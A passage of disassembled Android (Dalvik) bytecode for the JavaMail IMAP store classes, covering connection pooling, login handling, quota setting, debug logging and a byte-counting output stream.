0000018C invoke-virtual ConnectionException->getMessage()String, v0
00000192 move-result-object v0
00000194 invoke-direct StoreClosedException-><init>(Store, String)V, v2, p0, v0
0000019A throw v2
:19C
0000019C move-exception v0
:19E
0000019E monitor-exit v2
:1A0
000001A0 throw v0
:1A2
000001A2 move-exception v0
:1A4
000001A4 new-instance v2, MessagingException
000001A8 invoke-virtual ProtocolException->getMessage()String, v0
000001AE move-result-object v3
000001B0 invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
000001B6 throw v2
:1B8
000001B8 move-exception v0
:1BA
000001BA monitor-exit v2
:1BC
000001BC throw v0
:1BE
000001BE move-exception v0
:1C0
000001C0 monitor-exit v2
:1C2
000001C2 throw v0
:1C4
000001C4 move-exception v0
000001C6 goto/16 :B6
:1CA
000001CA move-exception v0
000001CC goto :EC
.catchall {:28 .. :30} :DC
.catch BadCommandException {:30 .. :36} :120
.catch ConnectionException {:30 .. :36} :186
.catch ProtocolException {:30 .. :36} :1A2
.catchall {:30 .. :36} :132
.catchall {:36 .. :6C} :11A
.catch BadCommandException {:6C .. :7A} :120
.catch ConnectionException {:6C .. :7A} :186
.catch ProtocolException {:6C .. :7A} :1A2
.catchall {:6C .. :7A} :132
.catchall {:7E .. :A2} :19C
.catch BadCommandException {:A2 .. :A8} :120
.catch ConnectionException {:A2 .. :A8} :186
.catch ProtocolException {:A2 .. :A8} :1A2
.catchall {:A2 .. :A8} :132
.catch InterruptedException {:B0 .. :B6} :1C4
.catch BadCommandException {:B0 .. :B6} :120
.catch ConnectionException {:B0 .. :B6} :186
.catch ProtocolException {:B0 .. :B6} :1A2
.catchall {:B0 .. :B6} :132
.catchall {:BC .. :CA} :1BE
.catchall {:DE .. :E0} :DC
.catch InterruptedException {:E2 .. :EC} :1CA
.catchall {:E2 .. :EC} :11A
.catchall {:EC .. :EE} :11A
.catchall {:F4 .. :102} :114
.catchall {:116 .. :118} :114
.catchall {:11C .. :11E} :11A
.catch BadCommandException {:11E .. :120} :120
.catch ConnectionException {:11E .. :120} :186
.catch ProtocolException {:11E .. :120} :1A2
.catchall {:11E .. :120} :132
.catchall {:122 .. :132} :132
.catchall {:13A .. :148} :1B8
.catchall {:15A .. :15C} :19C
.catch BadCommandException {:15C .. :182} :120
.catch ConnectionException {:15C .. :182} :186
.catch ProtocolException {:15C .. :182} :1A2
.catchall {:15C .. :182} :132
.catchall {:188 .. :19C} :132
.catchall {:19E .. :1A0} :19C
.catch BadCommandException {:1A0 .. :1A2} :120
.catch ConnectionException {:1A0 .. :1A2} :186
.catch ProtocolException {:1A0 .. :1A2} :1A2
.catchall {:1A0 .. :1A2} :132
.catchall {:1A4 .. :1B8} :132
.catchall {:1BA .. :1BC} :1B8
.catchall {:1C0 .. :1C2} :1BE
.end method
.method public declared-synchronized isConnected()Z
.registers 4
00000000 const/4 v0, 0x0
00000002 monitor-enter p0
:4
00000004 iget-boolean v1, p0, IMAPStore->connected:Z
00000008 if-nez v1, :18
:C
0000000C const/4 v1, 0x0
0000000E invoke-super Store->setConnected(Z)V, p0, v1
:14
00000014 monitor-exit p0
00000016 return v0
:18
00000018 const/4 v0, 0x0
:1A
0000001A invoke-virtual IMAPStore->getStoreProtocol()IMAPProtocol, p0
:20
00000020 move-result-object v0
:22
00000022 invoke-virtual IMAPProtocol->noop()V, v0
:28
00000028 invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v0
:2E
0000002E invoke-super Store->isConnected()Z, p0
:34
00000034 move-result v0
00000036 goto :14
:38
00000038 move-exception v1
0000003A if-nez v0, :44
:3E
0000003E invoke-direct IMAPStore->cleanup()V, p0
:44
00000044 invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v0
:4A
0000004A goto :2E
:4C
0000004C move-exception v0
0000004E monitor-exit p0
00000050 throw v0
:52
00000052 move-exception v1
00000054 move-object v2, v1
00000056 move-object v1, v0
00000058 move-object v0, v2
:5A
0000005A invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000060 throw v0
:62
00000062 move-exception v1
00000064 move-object v2, v1
00000066 move-object v1, v0
00000068 move-object v0, v2
0000006A goto :5A
.catchall {:4 .. :14} :4C
.catch ProtocolException {:1A .. :20} :38
.catchall {:1A .. :20} :52
.catch ProtocolException {:22 .. :28} :38
.catchall {:22 .. :28} :62
.catchall {:28 .. :34} :4C
.catchall {:3E .. :44} :62
.catchall {:44 .. :4A} :4C
.catchall {:5A .. :62} :4C
.end method
.method isConnectionPoolFull()Z
.registers 5
00000000 iget-object v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000004 monitor-enter v1
:6
00000006 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000000A invoke-static IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
00000010 move-result v0
00000012 if-eqz v0, :72
:16
00000016 iget-object v0, p0, IMAPStore->out:PrintStream
0000001A new-instance v2, StringBuilder
0000001E const-string v3, "DEBUG: current size: "
00000022 invoke-direct StringBuilder-><init>(String)V, v2, v3
00000028 iget-object v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000002C invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v3
00000032 move-result-object v3
00000034 invoke-virtual Vector->size()I, v3
0000003A move-result v3
0000003C invoke-virtual StringBuilder->append(I)StringBuilder, v2, v3
00000042 move-result-object v2
00000044 const-string v3, " pool size: "
00000048 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
0000004E move-result-object v2
00000050 iget-object v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000054 invoke-static IMAPStore$ConnectionPool->access$4(IMAPStore$ConnectionPool)I, v3
0000005A move-result v3
0000005C invoke-virtual StringBuilder->append(I)StringBuilder, v2, v3
00000062 move-result-object v2
00000064 invoke-virtual StringBuilder->toString()String, v2
0000006A move-result-object v2
0000006C invoke-virtual PrintStream->println(String)V, v0, v2
:72
00000072 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000076 invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
0000007C move-result-object v0
0000007E invoke-virtual Vector->size()I, v0
00000084 move-result v0
00000086 iget-object v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000008A invoke-static IMAPStore$ConnectionPool->access$4(IMAPStore$ConnectionPool)I, v2
00000090 move-result v2
00000092 if-lt v0, v2, :9C
:96
00000096 const/4 v0, 0x1
:98
00000098 monitor-exit v1
0000009A return v0
:9C
0000009C const/4 v0, 0x0
0000009E goto :98
:A0
000000A0 move-exception v0
000000A2 monitor-exit v1
:A4
000000A4 throw v0
.catchall {:6 .. :A4} :A0
.end method
.method protected declared-synchronized protocolConnect(String, I, String, String)Z
.registers 16
00000000 const/4 v8, 0x1
00000002 const/4 v3, 0xFFFFFFFFFFFFFFFF
00000004 monitor-enter p0
00000006 const/4 v9, 0x0
00000008 if-eqz p1, :14
:C
0000000C if-eqz p4, :14
:10
00000010 if-nez p3, :80
:14
00000014 iget-boolean v0, p0, IMAPStore->debug:Z
00000018 if-eqz v0, :74
:1C
0000001C iget-object v1, p0, IMAPStore->out:PrintStream
00000020 new-instance v0, StringBuilder
00000024 const-string v2, "DEBUG: protocolConnect returning false, host="
00000028 invoke-direct StringBuilder-><init>(String)V, v0, v2
0000002E invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
00000034 move-result-object v0
00000036 const-string v2, ", user="
0000003A invoke-virtual StringBuilder->append(String)StringBuilder, v0, v2
00000040 move-result-object v0
00000042 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
00000048 move-result-object v0
0000004A const-string v2, ", password="
0000004E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v2
00000054 move-result-object v2
00000056 if-eqz p4, :7A
:5A
0000005A const-string v0, "<non-null>"
:5E
0000005E invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
00000064 move-result-object v0
00000066 invoke-virtual StringBuilder->toString()String, v0
0000006C move-result-object v0
0000006E invoke-virtual PrintStream->println(String)V, v1, v0
:74
00000074 const/4 v0, 0x0
:76
00000076 monitor-exit p0
00000078 return v0
:7A
0000007A const-string v0, "<null>"
0000007E goto :5E
:80
00000080 if-eq p2, v3, :182
:84
00000084 iput p2, p0, IMAPStore->port:I
:88
00000088 iget v0, p0, IMAPStore->port:I
0000008C if-ne v0, v3, :98
:90
00000090 iget v0, p0, IMAPStore->defaultPort:I
00000094 iput v0, p0, IMAPStore->port:I
:98
00000098 iget-object v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000009C monitor-enter v1
:9E
0000009E iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000A2 invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
000000A8 move-result-object v0
000000AA invoke-virtual Vector->isEmpty()Z, v0
000000B0 move-result v0
000000B2 monitor-exit v1
:B4
000000B4 if-eqz v0, :176
:B8
000000B8 new-instance v0, IMAPProtocol
000000BC iget-object v1, p0, IMAPStore->name:String
000000C0 iget v3, p0, IMAPStore->port:I
000000C4 iget-object v2, p0, IMAPStore->session:Session
000000C8 invoke-virtual Session->getDebug()Z, v2
000000CE move-result v4
000000D0 iget-object v2, p0, IMAPStore->session:Session
000000D4 invoke-virtual Session->getDebugOut()PrintStream, v2
000000DA move-result-object v5
000000DC iget-object v2, p0, IMAPStore->session:Session
000000E0 invoke-virtual Session->getProperties()Properties, v2
000000E6 move-result-object v6
000000E8 iget-boolean v7, p0, IMAPStore->isSSL:Z
000000EC move-object v2, p1
000000EE invoke-direct/range IMAPProtocol-><init>(String, String, I, Z, PrintStream, Properties, Z)V, v0 .. v7
:F4
000000F4 iget-boolean v1, p0, IMAPStore->debug:Z
000000F8 if-eqz v1, :144
:FC
000000FC iget-object v1, p0, IMAPStore->out:PrintStream
00000100 new-instance v2, StringBuilder
00000104 const-string v3, "DEBUG: protocolConnect login, host="
00000108 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000010E invoke-virtual StringBuilder->append(String)StringBuilder, v2, p1
00000114 move-result-object v2
00000116 const-string v3, ", user="
0000011A invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000120 move-result-object v2
00000122 invoke-virtual StringBuilder->append(String)StringBuilder, v2, p3
00000128 move-result-object v2
0000012A const-string v3, ", password=<non-null>"
0000012E invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000134 move-result-object v2
00000136 invoke-virtual StringBuilder->toString()String, v2
0000013C move-result-object v2
0000013E invoke-virtual PrintStream->println(String)V, v1, v2
:144
00000144 invoke-direct IMAPStore->login(IMAPProtocol, String, String)V, p0, v0, p3, p4
0000014A invoke-virtual IMAPProtocol->addResponseHandler(ResponseHandler)V, v0, p0
00000150 iput-object p1, p0, IMAPStore->host:String
00000154 iput-object p3, p0, IMAPStore->user:String
00000158 iput-object p4, p0, IMAPStore->password:String
0000015C iget-object v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000160 monitor-enter v2
:162
00000162 iget-object v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000166 invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v1
0000016C move-result-object v1
0000016E invoke-virtual Vector->addElement(Object)V, v1, v0
00000174 monitor-exit v2
:176
00000176 const/4 v0, 0x1
:178
00000178 iput-boolean v0, p0, IMAPStore->connected:Z
0000017C move v0, v8
0000017E goto/16 :76
:182
00000182 iget-object v0, p0, IMAPStore->session:Session
00000186 new-instance v1, StringBuilder
0000018A const-string v2, "mail."
0000018E invoke-direct StringBuilder-><init>(String)V, v1, v2
00000194 iget-object v2, p0, IMAPStore->name:String
00000198 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000019E move-result-object v1
000001A0 const-string v2, ".port"
000001A4 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000001AA move-result-object v1
000001AC invoke-virtual StringBuilder->toString()String, v1
000001B2 move-result-object v1
000001B4 invoke-virtual Session->getProperty(String)String, v0, v1
000001BA move-result-object v0
000001BC if-eqz v0, :88
:1C0
000001C0 invoke-static Integer->parseInt(String)I, v0
000001C6 move-result v0
000001C8 iput v0, p0, IMAPStore->port:I
:1CC
000001CC goto/16 :88
:1D0
000001D0 move-exception v0
000001D2 monitor-exit p0
000001D4 throw v0
:1D6
000001D6 move-exception v0
:1D8
000001D8 monitor-exit v1
:1DA
000001DA throw v0
:1DC
000001DC move-exception v0
000001DE move-object v1, v9
:1E0
000001E0 if-eqz v1, :1EA
:1E4
000001E4 invoke-virtual IMAPProtocol->disconnect()V, v1
:1EA
000001EA new-instance v1, AuthenticationFailedException
000001EE invoke-virtual CommandFailedException->getResponse()Response, v0
000001F4 move-result-object v0
000001F6 invoke-virtual Response->getRest()String, v0
000001FC move-result-object v0
000001FE invoke-direct AuthenticationFailedException-><init>(String)V, v1, v0
00000204 throw v1
:206
00000206 move-exception v1
:208
00000208 monitor-exit v2
:20A
0000020A throw v1
:20C
0000020C move-exception v1
0000020E move-object v10, v1
00000210 move-object v1, v0
00000212 move-object v0, v10
00000214 goto :1E0
:216
00000216 move-exception v0
:218
00000218 new-instance v1, MessagingException
0000021C invoke-virtual ProtocolException->getMessage()String, v0
00000222 move-result-object v2
00000224 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
0000022A throw v1
:22C
0000022C move-exception v0
0000022E new-instance v1, MessagingException
00000232 invoke-virtual IOException->getMessage()String, v0
00000238 move-result-object v2
0000023A invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
00000240 throw v1
.catchall {:14 .. :74} :1D0
.catchall {:7A .. :98} :1D0
.catch CommandFailedException {:98 .. :9E} :1DC
.catch ProtocolException {:98 .. :9E} :216
.catch IOException {:98 .. :9E} :22C
.catchall {:98 .. :9E} :1D0
.catchall {:9E .. :B4} :1D6
.catch CommandFailedException {:B8 .. :F4} :1DC
.catch ProtocolException {:B8 .. :F4} :216
.catch IOException {:B8 .. :F4} :22C
.catchall {:B8 .. :F4} :1D0
.catch CommandFailedException {:F4 .. :162} :20C
.catch ProtocolException {:F4 .. :162} :216
.catch IOException {:F4 .. :162} :22C
.catchall {:F4 .. :162} :1D0
.catchall {:162 .. :176} :206
.catchall {:178 .. :1CC} :1D0
.catchall {:1D8 .. :1DA} :1D6
.catch CommandFailedException {:1DA .. :1DC} :1DC
.catch ProtocolException {:1DA .. :1DC} :216
.catch IOException {:1DA .. :1DC} :22C
.catchall {:1DA .. :1DC} :1D0
.catchall {:1E4 .. :206} :1D0
.catchall {:208 .. :20A} :206
.catch CommandFailedException {:20A .. :20C} :20C
.catch ProtocolException {:20A .. :20C} :216
.catch IOException {:20A .. :20C} :22C
.catchall {:20A .. :20C} :1D0
.catchall {:218 .. :242} :1D0
.end method
.method releaseProtocol(IMAPFolder, IMAPProtocol)V
.registers 7
00000000 iget-object v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000004 monitor-enter v1
00000006 if-eqz p2, :72
:A
0000000A invoke-virtual IMAPStore->isConnectionPoolFull()Z, p0
00000010 move-result v0
00000012 if-nez v0, :9E
:16
00000016 invoke-virtual IMAPProtocol->addResponseHandler(ResponseHandler)V, p2, p0
0000001C iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000020 invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
00000026 move-result-object v0
00000028 invoke-virtual Vector->addElement(Object)V, v0, p2
0000002E iget-boolean v0, p0, IMAPStore->debug:Z
00000032 if-eqz v0, :72
:36
00000036 iget-object v0, p0, IMAPStore->out:PrintStream
0000003A new-instance v2, StringBuilder
0000003E const-string v3, "DEBUG: added an Authenticated connection -- size: "
00000042 invoke-direct StringBuilder-><init>(String)V, v2, v3
00000048 iget-object v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000004C invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v3
00000052 move-result-object v3
00000054 invoke-virtual Vector->size()I, v3
0000005A move-result v3
0000005C invoke-virtual StringBuilder->append(I)StringBuilder, v2, v3
00000062 move-result-object v2
00000064 invoke-virtual StringBuilder->toString()String, v2
0000006A move-result-object v2
0000006C invoke-virtual PrintStream->println(String)V, v0, v2
:72
00000072 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000076 invoke-static IMAPStore$ConnectionPool->access$13(IMAPStore$ConnectionPool)Vector, v0
0000007C move-result-object v0
0000007E if-eqz v0, :94
:82
00000082 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000086 invoke-static IMAPStore$ConnectionPool->access$13(IMAPStore$ConnectionPool)Vector, v0
0000008C move-result-object v0
0000008E invoke-virtual Vector->removeElement(Object)Z, v0, p1
:94
00000094 invoke-direct IMAPStore->timeoutConnections()V, p0
0000009A monitor-exit v1
0000009C return-void
:9E
0000009E iget-boolean v0, p0, IMAPStore->debug:Z
000000A2 if-eqz v0, :B4
:A6
000000A6 iget-object v0, p0, IMAPStore->out:PrintStream
000000AA const-string v2, "DEBUG: pool is full, not adding an Authenticated connection"
000000AE invoke-virtual PrintStream->println(String)V, v0, v2
:B4
000000B4 invoke-virtual IMAPProtocol->logout()V, p2
:BA
000000BA goto :72
:BC
000000BC move-exception v0
000000BE goto :72
:C0
000000C0 move-exception v0
:C2
000000C2 monitor-exit v1
:C4
000000C4 throw v0
.catchall {:A .. :B4} :C0
.catch ProtocolException {:B4 .. :BA} :BC
.catchall {:B4 .. :BA} :C0
.catchall {:C2 .. :C4} :C0
.end method
.method releaseStoreProtocol(IMAPProtocol)V
.registers 5
00000000 if-nez p1, :6
:4
00000004 return-void
:6
00000006 iget-object v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000000A monitor-enter v1
:C
0000000C iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000010 const/4 v2, 0x0
00000012 invoke-static IMAPStore$ConnectionPool->access$15(IMAPStore$ConnectionPool, Z)V, v0, v2
00000018 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000001C invoke-virtual Object->notifyAll()V, v0
00000022 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000026 invoke-static IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
0000002C move-result v0
0000002E if-eqz v0, :40
:32
00000032 iget-object v0, p0, IMAPStore->out:PrintStream
00000036 const-string v2, "DEBUG: releaseStoreProtocol()"
0000003A invoke-virtual PrintStream->println(String)V, v0, v2
:40
00000040 invoke-direct IMAPStore->timeoutConnections()V, p0
00000046 monitor-exit v1
00000048 goto :4
:4A
0000004A move-exception v0
0000004C monitor-exit v1
:4E
0000004E throw v0
.catchall {:C .. :4E} :4A
.end method
.method public declared-synchronized setPassword(String)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput-object p1, p0, IMAPStore->password:String
:6
00000006 monitor-exit p0
00000008 return-void
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public declared-synchronized setQuota(Quota)V
.registers 6
00000000 monitor-enter p0
:2
00000002 invoke-direct IMAPStore->checkConnected()V, p0
:8
00000008 const/4 v1, 0x0
:A
0000000A invoke-virtual IMAPStore->getStoreProtocol()IMAPProtocol, p0
00000010 move-result-object v1
00000012 invoke-virtual IMAPProtocol->setQuota(Quota)V, v1, p1
:18
00000018 invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
0000001E if-nez v1, :28
:22
00000022 invoke-direct IMAPStore->cleanup()V, p0
:28
00000028 monitor-exit p0
0000002A return-void
:2C
0000002C move-exception v0
:2E
0000002E new-instance v2, MessagingException
00000032 const-string v3, "QUOTA not supported"
00000036 invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
0000003C throw v2
:3E
0000003E move-exception v0
:40
00000040 invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000046 if-nez v1, :50
:4A
0000004A invoke-direct IMAPStore->cleanup()V, p0
:50
00000050 throw v0
:52
00000052 move-exception v0
00000054 monitor-exit p0
00000056 throw v0
:58
00000058 move-exception v0
:5A
0000005A new-instance v2, StoreClosedException
0000005E invoke-virtual ConnectionException->getMessage()String, v0
00000064 move-result-object v0
00000066 invoke-direct StoreClosedException-><init>(Store, String)V, v2, p0, v0
0000006C throw v2
:6E
0000006E move-exception v0
00000070 new-instance v2, MessagingException
00000074 invoke-virtual ProtocolException->getMessage()String, v0
0000007A move-result-object v3
0000007C invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
00000082 throw v2
.catchall {:2 .. :8} :52
.catch BadCommandException {:A .. :18} :2C
.catch ConnectionException {:A .. :18} :58
.catch ProtocolException {:A .. :18} :6E
.catchall {:A .. :18} :3E
.catchall {:18 .. :28} :52
.catchall {:2E .. :3E} :3E
.catchall {:40 .. :52} :52
.catchall {:5A .. :84} :3E
.end method
.method public declared-synchronized setUsername(String)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput-object p1, p0, IMAPStore->user:String
:6
00000006 monitor-exit p0
00000008 return-void
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
#--------------------------------------------------------------------------------
.class public IMAPSSLStore
.super IMAPStore
.source ""
.method public constructor <init>(Session, URLName)V
.registers 9
00000000 const-string v3, "imaps"
00000004 const/16 v4, 0x3E1
00000008 const/4 v5, 0x1
0000000A move-object v0, p0
0000000C move-object v1, p1
0000000E move-object v2, p2
00000010 invoke-direct/range IMAPStore-><init>(Session, URLName, String, I, Z)V, v0 .. v5
00000016 return-void
.end method
#--------------------------------------------------------------------------------
.class IMAPStore$ConnectionPool
.super Object
.source ""
.field private static final ABORTING:I = 0x2
.field private static final IDLE:I = 0x1
.field private static final RUNNING:I
.field private authenticatedConnections:Vector
.field private clientTimeoutInterval:J
.field private debug:Z
.field private folders:Vector
.field private idleProtocol:IMAPProtocol
.field private idleState:I
.field private lastTimePruned:J
.field private poolSize:I
.field private pruningInterval:J
.field private separateStoreConnection:Z
.field private serverTimeoutInterval:J
.field private storeConnectionInUse:Z
.method constructor <init>()V
.registers 4
00000000 const/4 v2, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 new-instance v0, Vector
0000000C invoke-direct Vector-><init>()V, v0
00000012 iput-object v0, p0, IMAPStore$ConnectionPool->authenticatedConnections:Vector
00000016 iput-boolean v2, p0, IMAPStore$ConnectionPool->separateStoreConnection:Z
0000001A iput-boolean v2, p0, IMAPStore$ConnectionPool->storeConnectionInUse:Z
0000001E const-wide/32 v0, 0xAFC8
00000024 iput-wide v0, p0, IMAPStore$ConnectionPool->clientTimeoutInterval:J
00000028 const-wide/32 v0, 0x1B7740
0000002E iput-wide v0, p0, IMAPStore$ConnectionPool->serverTimeoutInterval:J
00000032 const/4 v0, 0x1
00000034 iput v0, p0, IMAPStore$ConnectionPool->poolSize:I
00000038 const-wide/32 v0, 0xEA60
0000003E iput-wide v0, p0, IMAPStore$ConnectionPool->pruningInterval:J
00000042 iput-boolean v2, p0, IMAPStore$ConnectionPool->debug:Z
00000046 iput v2, p0, IMAPStore$ConnectionPool->idleState:I
0000004A return-void
.end method
.method static synthetic access$0(IMAPStore$ConnectionPool, J)V
.registers 3
00000000 iput-wide p1, p0, IMAPStore$ConnectionPool->lastTimePruned:J
00000004 return-void
.end method
.method static synthetic access$1(IMAPStore$ConnectionPool, Z)V
.registers 2
00000000 iput-boolean p1, p0, IMAPStore$ConnectionPool->debug:Z
00000004 return-void
.end method
.method static synthetic access$10(IMAPStore$ConnectionPool)Vector
.registers 2
00000000 iget-object v0, p0, IMAPStore$ConnectionPool->authenticatedConnections:Vector
00000004 return-object v0
.end method
.method static synthetic access$11(IMAPStore$ConnectionPool)Z
.registers 2
00000000 iget-boolean v0, p0, IMAPStore$ConnectionPool->separateStoreConnection:Z
00000004 return v0
.end method
.method static synthetic access$12(IMAPStore$ConnectionPool)Z
.registers 2
00000000 iget-boolean v0, p0, IMAPStore$ConnectionPool->storeConnectionInUse:Z
00000004 return v0
.end method
.method static synthetic access$13(IMAPStore$ConnectionPool)Vector
.registers 2
00000000 iget-object v0, p0, IMAPStore$ConnectionPool->folders:Vector
00000004 return-object v0
.end method
.method static synthetic access$14(IMAPStore$ConnectionPool, Vector)V
.registers 2
00000000 iput-object p1, p0, IMAPStore$ConnectionPool->folders:Vector
00000004 return-void
.end method
.method static synthetic access$15(IMAPStore$ConnectionPool, Z)V
.registers 2
00000000 iput-boolean p1, p0, IMAPStore$ConnectionPool->storeConnectionInUse:Z
00000004 return-void
.end method
.method static synthetic access$16(IMAPStore$ConnectionPool)J
.registers 3
00000000 iget-wide v0, p0, IMAPStore$ConnectionPool->lastTimePruned:J
00000004 return-wide v0
.end method
.method static synthetic access$17(IMAPStore$ConnectionPool)J
.registers 3
00000000 iget-wide v0, p0, IMAPStore$ConnectionPool->pruningInterval:J
00000004 return-wide v0
.end method
.method static synthetic access$18(IMAPStore$ConnectionPool, IMAPProtocol)V
.registers 2
00000000 iput-object p1, p0, IMAPStore$ConnectionPool->idleProtocol:IMAPProtocol
00000004 return-void
.end method
.method static synthetic access$19(IMAPStore$ConnectionPool)I
.registers 2
00000000 iget v0, p0, IMAPStore$ConnectionPool->idleState:I
00000004 return v0
.end method
.method static synthetic access$2(IMAPStore$ConnectionPool, I)V
.registers 2
00000000 iput p1, p0, IMAPStore$ConnectionPool->poolSize:I
00000004 return-void
.end method
.method static synthetic access$20(IMAPStore$ConnectionPool, I)V
.registers 2
00000000 iput p1, p0, IMAPStore$ConnectionPool->idleState:I
00000004 return-void
.end method
.method static synthetic access$21(IMAPStore$ConnectionPool)IMAPProtocol
.registers 2
00000000 iget-object v0, p0, IMAPStore$ConnectionPool->idleProtocol:IMAPProtocol
00000004 return-object v0
.end method
.method static synthetic access$3(IMAPStore$ConnectionPool)Z
.registers 2
00000000 iget-boolean v0, p0, IMAPStore$ConnectionPool->debug:Z
00000004 return v0
.end method
.method static synthetic access$4(IMAPStore$ConnectionPool)I
.registers 2
00000000 iget v0, p0, IMAPStore$ConnectionPool->poolSize:I
00000004 return v0
.end method
.method static synthetic access$5(IMAPStore$ConnectionPool, J)V
.registers 3
00000000 iput-wide p1, p0, IMAPStore$ConnectionPool->clientTimeoutInterval:J
00000004 return-void
.end method
.method static synthetic access$6(IMAPStore$ConnectionPool)J
.registers 3
00000000 iget-wide v0, p0, IMAPStore$ConnectionPool->clientTimeoutInterval:J
00000004 return-wide v0
.end method
.method static synthetic access$7(IMAPStore$ConnectionPool, J)V
.registers 3
00000000 iput-wide p1, p0, IMAPStore$ConnectionPool->serverTimeoutInterval:J
00000004 return-void
.end method
.method static synthetic access$8(IMAPStore$ConnectionPool)J
.registers 3
00000000 iget-wide v0, p0, IMAPStore$ConnectionPool->serverTimeoutInterval:J
00000004 return-wide v0
.end method
.method static synthetic access$9(IMAPStore$ConnectionPool, Z)V
.registers 2
00000000 iput-boolean p1, p0, IMAPStore$ConnectionPool->separateStoreConnection:Z
00000004 return-void
.end method
#--------------------------------------------------------------------------------
.class LengthCounter
.super OutputStream
.source ""
.field private buf:[B
.field private maxsize:I
.field private size:I
.method public constructor <init>(I)V
.registers 3
00000000 invoke-direct OutputStream-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 iput v0, p0, LengthCounter->size:I
0000000C const/16 v0, 0x2000
00000010 new-array v0, v0, [B
00000014 iput-object v0, p0, LengthCounter->buf:[B
00000018 iput p1, p0, LengthCounter->maxsize:I
0000001C return-void
.end method
.method public getBytes()[B
.registers 2
00000000 iget-object v0, p0, LengthCounter->buf:[B
00000004 return-object v0
.end method
.method public getSize()I
.registers 2
00000000 iget v0, p0, LengthCounter->size:I
00000004 return v0
.end method
.method public write(I)V
.registers 7
00000000 const/4 v4, 0x0
00000002 iget v0, p0, LengthCounter->size:I
00000006 add-int/lit8 v0, v0, 0x1
0000000A iget-object v1, p0, LengthCounter->buf:[B
0000000E if-eqz v1, :28
:12
00000012 iget v1, p0, LengthCounter->maxsize:I
00000016 if-le v0, v1, :2E
:1A
0000001A iget v1, p0, LengthCounter->maxsize:I
0000001E if-ltz v1, :2E
:22
00000022 const/4 v1, 0x0
00000024 iput-object v1, p0, LengthCounter->buf:[B
:28
00000028 iput v0, p0, LengthCounter->size:I
0000002C return-void
:2E
0000002E iget-object v1, p0, LengthCounter->buf:[B
00000032 array-length v1, v1
00000034 if-le v0, v1, :70
:38
00000038 iget-object v1, p0, LengthCounter->buf:[B
0000003C array-length v1, v1
0000003E shl-int/lit8 v1, v1, 0x1
00000042 invoke-static Math->max(I, I)I, v1, v0
00000048 move-result v1
0000004A new-array v1, v1, [B
0000004E iget-object v2, p0, LengthCounter->buf:[B
00000052 iget v3, p0, LengthCounter->size:I
00000056 invoke-static System->arraycopy(Object, I, Object, I, I)V, v2, v4, v1, v4, v3
0000005C iput-object v1, p0, LengthCounter->buf:[B
00000060 iget-object v1, p0, LengthCounter->buf:[B
00000064 iget v2, p0, LengthCounter->size:I
00000068 int-to-byte v3, p1
0000006A aput-byte v3, v1, v2
0000006E goto :28
:70
00000070 iget-object v1, p0, LengthCounter->buf:[B
00000074 iget v2, p0, LengthCounter->size:I
00000078 int-to-byte v3, p1
0000007A aput-byte v3, v1, v2
0000007E goto :28
.end method
.method public write([B)V
.registers 4
00000000 const/4 v0, 0x0
00000002 array-length v1, p1
00000004 invoke-virtual LengthCounter->write([B, I, I)V, p0, p1, v0, v1
0000000A return-void
.end method
.method public write([B, I, I)V
